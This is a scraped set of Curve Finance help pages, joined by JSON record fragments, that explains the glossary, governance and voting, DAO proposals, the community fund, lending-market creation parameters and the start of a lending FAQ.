FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Glossary Table of contents CurveV1 CurveV2 Stableswap Cryptoswap Liquid Lockers 3CRV Admin fee Base Pools Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) veCRV Vote-locked CRV Yearn Branding & Icons Table of contents CurveV1 CurveV2 Stableswap Cryptoswap Liquid Lockers 3CRV Admin fee Base Pools Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) veCRV Vote-locked CRV Yearn Glossary This page should help any new user learn what people are talking about in different social channels or in these resources or the technical documentation. CurveV1 CurveV1 refers to first product Curve deployed, which was the stablecoin swap pools. This term is used to describe any stable asset swap pool, e.g., USDT/USDC/DAI, stETH/ETH. CurveV2 CurveV2 was the second product Curve deployed, this was the cryptopool swap pools. Cryptopools are swap pools which have assets which are not stable to each other, e.g., BTC/ETH/USDT, CRV/ETH. Stableswap See CurveV1 . Cryptoswap See CurveV2 Liquid Lockers Some projects offer to take CRV, lock it in a smart contract as veCRV and give a user tokens representing the veCRV in the smart contract. These are called liquid lockers because the underlying veCRV is locked but can be transferred (is liquid). 3CRV 3CRV is the LP token for the 3Pool (sometimes referred to as TriPool). Trading fees are distributed in 3CRV. Admin fee Admin fee is the share of trading fees that are received by governance participants who have locked their CRV (see veCRV). Base Pools Base pools are an old Curve concept, yet still working in some pools such as GUSD. Base pool tokens can be paired with other tokens to create new pools, e.g. 3crv pool token (USDT, USDC, DAI) paired with GUSD. Boosting (also boosties) The act of locking your CRV to earn more CRV on your provided liquidity. Boosting your CRV Rewards CRV Governance and utility token for the Curve DAO. DeFi (Decentralized Finance) Decentralized finance (commonly referred to as DeFi) is an experimental form of finance that does not rely on financial intermediaries such as brokerages, exchanges, or banks, and instead utilizes blockchains, most commonly the Ethereum blockchain. Metamask Metamask is an Ethereum wallet that allows you to interact with Curve and other dapps. You can also use it with Ledger and Trezor hardware wallets. It's the most popular Ethereum web wallet and is available as an add-on for most browsers. Metapool Metapools are a type of pool on Curve composed of one asset as well as as LP tokens from another pool. Llamas Llamas are wonderful and magical creatures. Each Curve team member must own at least one llama as part of their contract with Curve Finance. LP (Liquidity provider) Users providing liquidity (funds/assets) on the Curve or other DeFi protocols. LP tokens (Liquidity provider token) When you deposit into a Curve pool, you receive a counter party token which represents your share of the pool. veCRV Stands for vote-escrowed CRV. They are CRV locked for the purpose of voting and earning fees. Understanding $CRV Vote-locked CRV This term is used interchangeably with Vote-escrowed CRV and veCRV. Yearn Yearn Protocol is a set of Ethereum Smart Contracts focused on creating a simple way to generate high risk-adjusted returns for depositors of various assets via best-in-class lending protocols, liquidity pools, and community-made yield farming strategies on Ethereum. It was founded by Andre Cronje who has been a long term collaborator of Curve Finance. Back to top", "labels": ["Documentation"]}, {"title": "Community Fund", "html_url": "https://resources.curve.fi/governance/community-fund/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Governance Community Fund The initial distribution of CRV allocated around 151M CRV to a community fund, intended for use in emergencies or as rewards for community-led initiatives. The Curve DAO has full access to these funds and can decide to award part of this fund through a proposal. Funds can only be distributed through linear vesting over a minimum duration of one year using a vesting contract. The contract is deployed on Ethereum at 0xe3997288987e6297ad550a69b31439504f513267 . If you have a project you believe deserves a grant, please create a proposal or discuss it with a team member on Discord or Telegram . More information on proposals: Creating a DAO proposal Back to top", "labels": ["Documentation"]}, {"title": "Understanding Governance", "html_url": "https://resources.curve.fi/governance/understanding-governance/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Understanding Governance Table of contents Voting on the Curve DAO Voting Power DAO Votes Emergency DAO Cross-Chain Governance The DAO Dashboard Creating Proposals Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Voting on the Curve DAO Voting Power DAO Votes Emergency DAO Cross-Chain Governance The DAO Dashboard Creating Proposals Home Governance Understanding Governance Voting on the Curve DAO To vote in the Curve DAO, users need to vote lock their CRV . By doing so, participants can earn a boost on their provided liquidity and vote on all DAO proposals. Users who reach a voting power of 2,500 veCRV can also create new proposals. There is no minimum voting power required to participate in voting. The duration of governance proposals is seven days . Voting Power Decay When voting on DAO proposals, a user's voting power on an individual proposal starts to decay halfway through the vote as a measure to protect against manipulation by whales. This does not apply to gauge weight votes. Additionally, overall voting power decays linearly over time. More details are provided in the section below. Example: A user begins the voting period for a proposal with 100 veCRV. If the voting duration is 7 days, their voting power will remain at 100 veCRV for the first 3.5 days. After this point, their voting power starts to decay linearly. By day 5.25 (which is halfway through the decay period), their voting power would have decreased to 50 veCRV. By the end of the 7-day voting period, the users voting power would have diminished further, approaching 0 veCRV. Voting Power veCRV stands for vote-escrowed CRV . It's a mechanism where users can lock their CRV tokens for varying lengths of time to gain voting power. Users have the option to lock their CRV for a minimum of one week and a maximum of four years. Those with longer voting escrows wield more stake, thereby receiving greater voting power. A user's voting power gradually decreases over time until it reaches zero at the time of unlock. For instance, if a user decides to lock 100 CRV for four years, they will initially receive 100 veCRV. After one year, due to the constant decay, the user's veCRV balance will reduce to 75 veCRV, then to 50 veCRV after two years, etc... until it finally zeroes out after four years. The existing lock can be extended at every point in time, resulting in a increased veCRV balance again. DAO Votes There are three different kinds of votes: Ownership votes , which control most functionality within the protocol. These votes require a 30% quorum with 51% support. Parameter votes , which can modify pool parameters. These votes require a 15% quorum with 60% support. Emergency votes , which are executed through a multisig consisting of nine members, comprised of reputable figures within the DeFi and Crypto community. More here: Emergency DAO . Voting Quorum Intuitively, one might think that the total number of votes ( YES and NO ) would count towards the quorum. However, this is not the case here. Only YES votes are counted towards the quorum. This can lead to scenarios like this: https://twitter.com/WormholeOracle/status/1782646259536531808 Emergency DAO The EmergencyDAO is a 5 of 9 multisig which has very limited actions . It may kill non-factory pools up to 2 months old. Pools that have been killed will only allow users to remove_liquidity . It may also kill liquidity gauges at any time, setting its rate of CRV emissions to 0 and therefore not allowing any further CRV emission to the pool. The EmergencyDAO multisig is deployed at 0x467947EE34aF926cF1DCac093870f613C96B1E0c and currently consists of the following signers: Name Details - Telegram Handle banteg Yearn, @banteg Calvin @calchulus C2tP Convex, @c2tp_eth Darly Lau @Daryllautk Ga3b_node @ga3b_node Naga King @nagakingg Peter MM @PeterMm Addison @addisonthunderhead Quentin Milne StakeDAO, @Kii_iu Cross-Chain Governance Since Curve is deployed on various chains, there is a need for a permissionless cross-chain governance framework to grant the DAO control over contracts across these chains. To address this, Curve has deployed various contracts on those chains to ensure DAO control. Even for cross-chain votes, voting always takes place on the Ethereum Mainnet . Once the vote concludes, the final outcome is transmitted via a message to the corresponding chain , where it is then executed. DAO Control Across Chains While DAO control of Curve smart contracts is ensured on most chains, some chains might not yet offer the required infrastructure to support this cross-chain framework. A list of all cross-chain ownership-related contracts, as well as more technical documentation, can be found here . The DAO Dashboard Users can access the Curve DAO dashboard at https://dao.curve.fi/dao . This dashboard provides an overview of all current and closed votes. Each proposal should have a corresponding topic on the Curve governance forum, accessible at https://gov.curve.fi/ . Creating Proposals To create an official proposal, users should first draft the proposal and post it on the governance forum. Its important to evaluate the proposals feasibility and gauge community interest through the Curve Discord, Telegram, or Governance forum. If users are unsure about the technical aspects of submitting the proposal to the Ethereum blockchain, they can seek assistance from a member of the team. For more details, see: Creating DAO Proposals Back to top", "labels": ["Documentation"]}, {"title": "Voting", "html_url": "https://resources.curve.fi/governance/voting/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Voting Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Where can I find out about governance? Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Where can I find out about governance? Home Governance Voting How to participate in governance? To participate in governance, Curve Finance users need to lock their CRV into a voting escrow. You can do so at this address: https://dao.curve.fi/locker What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker Get more voting power by locking your CRV for a longer period of time. Can I start voting right away? You can only vote using your voting weight at the block where a proposal was created. How to vote? Simply visit the proposal of your choice, click your vote option and confirm your transaction. You can find DAO proposals at this address: https://dao.curve.fi/dao Where can I find out about governance? You can visit the Curve Finance governance forum at this address http://gov.curve.fi/ Back to top", "labels": ["Documentation"]}, {"title": "Creating a DAO proposal", "html_url": "https://resources.curve.fi/governance/proposals/creating-a-dao-proposal/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Creating a DAO proposal Table of contents Creating your vote Creating your proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Creating your vote Creating your proposal Home Governance Proposals Creating a DAO proposal Official DAO proposals are the only way to create enforceable changes in the Curve protocol. There are currently two types of votes: parameter and text. Parameter votes are automatically committed to the DAO three days after they are enacted at the end of the vote. Text proposals are different as they often necessitate development. For these, it is recommended to discuss with the Curve team to understand the feasibility and to create a signaling proposal. Before creating an on-chain vote, it might make sense to do a temperature check on the governance forum , especially if the subject is of an important matter. To actually create an on-chain proposal, 2500 veCRV are required. (1) But there's nothing to worry about, my friend. If you don't have 2500 veCRV, there are plenty of helpful community members who will surely help you create one. Creating your vote Visit the Curve DAO: https://dao.curve.fi/dao , select your type of vote and submit it. Creating your proposal Every DAO proposal must be accompanied with a proposal on the Curve governance forum. Visit the proposal section: https://gov.curve.fi/c/proposals/8 and click \"New Topic\" . You will then be presented with a template to help you present your proposed choices to the community. After that's done, be sure to engage with members of the community who have questions about your proposal. Back to top", "labels": ["Documentation"]}, {"title": "Creating Lending Markets", "html_url": "https://resources.curve.fi/lending/create-lending-market/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market How to Create a Lending Market Table of contents Creating a Pool Creating a Lending Market CRV Rewards and other Incentives for Suppliers Deploying a Gauge Receiving CRV rewards from weekly emissions Adding other incentives for suppliers Lending Market Deployment Parameters Amplification Factor (A) Loan Discount Liquidation Discount Borrowing Interest Rates Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Creating a Pool Creating a Lending Market CRV Rewards and other Incentives for Suppliers Deploying a Gauge Receiving CRV rewards from weekly emissions Adding other incentives for suppliers Lending Market Deployment Parameters Amplification Factor (A) Loan Discount Liquidation Discount Borrowing Interest Rates Home Curve Lending Creating Lending Markets Creating a Pool Before attempting to create a lending market, a curve pool for the ASSET paired with crvUSD which implements an unmanipulatable price oracle must exist. Pools with unmanipulatable oracles are the following: twocrypto-ng - for 2 unpegged assets, e.g., crvUSD/CRV tricrypto-ng - for 3 unpegged assets, e.g., crvUSD/WETH/CRV stableswap-ng - for 2 pegged assets, e.g., crvUSD/USDC Custom Price Oracles If an ASSET/WETH pool is more desirable than an ASSET/crvUSD pool, it is possible to link the ASSET/WETH price to the WETH/crvUSD price using a custom price oracle. This can then be used to create a lending market. Please get in contact with the team in telegram if this is the case. The easiest way to create a pool is through the official Create Pool UI . Guides are available for creating a stableswap-ng pool , twocrypto-ng pool , and a tricrypto-ng pool . Creating a Lending Market To create a lending market use the create , or create_from_pool methods in the OneWay Lending Factory smart contract to deploy all relevant contracts and set all parameters. Find the OneWay Lending Factory addresses for different chains here . There is no UI for this step, it has to be done through Etherscan, or manually. To deploy a lending market using the create_from_pool method after deploying a pool the following unique parameter is used: pool : the address of the pool which includes both the borrowed_token and collateral_token . To deploy a lending market using the create method with a custom oracle the following unique parameter is used: price_oracle : address of the custom price oracle contract Then for both methods the following additional parameters must be supplied: borrowed_token : address of the token to be supplied and borrowed collateral_token : address of the token to be used as collateral A : the amplification factor, most markets use a value between 10-30. Use lower values for riskier assets. Input as a normal number, e.g., 10 = 10 fee : the amm swap fee, most pools use between 0.3-1.5%. Input as a \\(10^{18}\\) number, e.g., 0.06% = 6000000000000000. loan_discount : the amount to discount collateral for calculating maximum LTV. This is usually higher than liquidation_discount by 3-4%. Input as a \\(10^{18}\\) number, e.g., 11% = 110000000000000000. liquidation_discount : the amount to discount collateral for health and hard-liquidation calculations. This is usually less than loan_discount by 3-4%. Input as a \\(10^{18}\\) number, e.g., 8% = 80000000000000000. name : The name of the market Finally, the following parameters are optional for both methods, if they are not supplied they are set to the default values set by the CurveDAO: min_borrow_rate : the minimum borrow rate, as rate/sec. Input as a \\(10^{18}\\) number, e.g., 1% APR = 317097919 max_borrow_rate : the maximum borrow rate, as rate/sec. Input as a \\(10^{18}\\) number, e.g., 80% APR = 25367833587 Warning Parameters are given in different formats: A is just given as itself, e.g., 30 = 30, but others like loan_discount are given as a a \\(10^{18}\\) number, e.g., 11% = 110000000000000000. Using the OneWay Lending Factory will add the pool to the Curve UI and deploy all contracts needed for the market to function. CRV Rewards and other Incentives for Suppliers Deploying a Gauge A Curve lending market requires a gauge linked to the supply vault before suppliers can stake their vault shares to receive incentives/rewards . A gauge can be easily deployed through the OneWay Lending Factory by calling the deploy_gauge method and supplying the newly created vault contract address. Anyone can deploy a gauge for a market that does not have one. Receiving CRV rewards from weekly emissions Before a gauge is eligible to receive CRV from weekly emissions, it must be added to the Gauge Controller contract, the contract is deployed on Ethereum here . To be added to the Gauge Controller the CurveDAO must vote to add the lending market's gauge. See here for how to create a vote to add a gauge to the Gauge Controller . Once a Curve lending market has a gauge added to the Gauge Controller and it receives some gauge weight , the suppliers will receive CRV rewards when they stake their vault shares into the gauge. Adding other incentives for suppliers The deployer of the Curve Lending Market is given the role of manager . The manager can add reward tokens to the pool through the add_reward method within the lending market's gauge. Once a token is added, the manager can deposit the token using the deposit_reward_token method. The tokens then stream to the suppliers staked in the gauge over the specified period. Lending Market Deployment Parameters Amplification Factor (A) The amplification factor A defines the width of bands, see formula below and more detailed information here and applet here . A is also a part of the calculation for the maximum LTV of the market, see loan_discount section . \\[\\text{band_width} \\approx \\frac{\\text{price}}{\\text{A}}\\] Loan Discount The loan_discount is used for finding the maximum LTV (loan-to-value) a user can have in a lending market. At the time of writing this value ranges from 7% for WETH to 33% for volatile and less liquid assets like UwU. Use the calculator here to see the maximum LTVs a user can have based on the loan_discount , amplification factor A and their number of bands N . The formula is: \\[\\text{max_LTV} = 1 - \\text{loan_discount} - \\frac{N}{2*A}\\] Liquidation Discount liquidation_discount defines how much to discount the collateral for the purpose of a hard-liquidation. This is usually 3-4% lower than the loan_discount . A user is hard-liquidated when their health is less than 0, and the liquidation_discount is an integral part of the health calculation. See here for more information Borrowing Interest Rates When creating a market the creator must define the min_borrow_rate and max_borrow_rate of the market. Use the tool below to simulate how utilization affects borrowing and lending interest rates. In the smart contracts the rates they are given as interest per second , converting from a desired APR to a borrow_rate in interest per second is as follows: \\[\\text{borrow_rate} = \\frac{\\text{APR}}{\\text{seconds_in_year}} = \\frac{\\text{APR}}{86400 \\times 365}\\] Rate Calculator Inputs: Min Borrow APR % : Max Borrow APR % : Utilization Chart Utilization Table Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending: FAQ", "html_url": "https://resources.curve.fi/lending/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ Lending FAQ Table of contents General What's the difference between minting crvUSD and lending markets? How much can you borrow against your collateral (LTV)? How does the LLAMMA liquidation process differ from other debt-based stablecoins? What tokens can be used in lending markets? How to create a lending market? What is a 'loan discount' and what impact does it have? What is the difference between self-liquidating and repaying? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Interest Rate What is the borrow rate? How is the borrow rate calculated? What is the lend rate? How is the lend rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when borrowing assets? Has the lending system been audited? Can I see the code? How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents General What's the difference between minting crvUSD and lending markets? How much can you borrow against your collateral (LTV)? How does the LLAMMA liquidation process differ from other debt-based stablecoins? What tokens can be used in lending markets? How to create a lending market? What is a 'loan discount' and what impact does it have? What is the difference between self-liquidating and repaying? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Interest Rate What is the borrow rate? How is the borrow rate calculated? What is the lend rate? How is the lend rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when borrowing assets? Has the lending system been audited? Can I see the code? Home Curve Lending Curve Lending: FAQ General What's the difference between minting crvUSD and lending markets? Lending markets work very similarly to the markets for minting crvUSD. Here are the major differences: Lending markets are permissionless; any assets in combination with crvUSD can be used . This means users can borrow against tokens like CRV, LRT's, etc. You name it. The only requirement is a proper oracle 1 . Although, before creating a lending market, proper parameters should be simulated. The interest rate of lending markets solely depends on the utilization of the supplied assets , unlike for minting markets which depend on various factors such as crvUSD price, pegkeeper debt, and other parameters. How much can you borrow against your collateral (LTV)? The maximum borrowable amount (LTV) is dependent on the parameter A and number of bands ( N ) chosen when creating a market. The more bands used, the higher the LTV. How does the LLAMMA liquidation process differ from other debt-based stablecoins? crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. What tokens can be used in lending markets? How to create a lending market? Curve lending is totally permissionless. Everyone can create markets. The only requirement is, that crvUSD is either the borrowable or collateral token. Although creating a market is totally permissionless, some important parameters need to be simulated ahead of deployment. What is a 'loan discount' and what impact does it have? A 'loan discount' is a percentage applied to reduce the value of collateral for determining the maximum borrowable amount. A higher loan discount results in a lower borrowing limit, acting as a safety margin for lenders against collateral value declines. The maximum amount that can be borrowed is also influenced by other factors, such as market conditions and asset volatility. For more details on these factors and their impact on borrowing, see the technical documentation at https://docs.curve.fi/crvUSD/amm/ . What is the difference between self-liquidating and repaying? You cannot self-liquidate a partial amount of a loan, self-liquidating closes the loan, but you can repay a partial amount, e.g., 20% of the debt, this increases the health of the loan. If the repayment takes you out of soft-liquidation, your bands may move. When repaying and self-liquidating the whole loan, repaying and self liquidating work slightly differently, let's show this using a market lending crvUSD using WETH as collateral: For self-liquidating, if some WETH has been converted to crvUSD during soft-liquidation, then the user must transfer the difference between the crvUSD held as collateral and the debt. When repaying with crvUSD, you must transfer enough crvUSD to cover the debt, and you receive all the collateral in return. However in new markets (markets with leverage), it's possible to repay with collateral. In this case, the user does not need to send anything, all collateral is transferred to crvUSD, and the user receives back any crvUSD left after debt is repaid. Liquidation Process What is my liquidation price? When creating a loan, collateral is deposited and equally distributed over a range of prices, not just a single liquidation price. Should the price fall within this range, the collateral begins its conversion into crvUSD. This process aids in maintaining the loan's health and, under most conditions, wards off liquidation. As a result, there isn't one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? The price range can be optionally adjusted and customized during the initial loan creation process. In the UI, the \"Advanced Mode\" toggle provides further insights into this range. What happens when the collateral price drops into my selected range? (soft-liquidation) Each lending market is linked to a LLAMMA, which is a special AMM. If the collateral price falls into the selected range, this collateral becomes tradable in the AMM. At this juncture, traders have the opportunity to acquire the collateral, substituting it 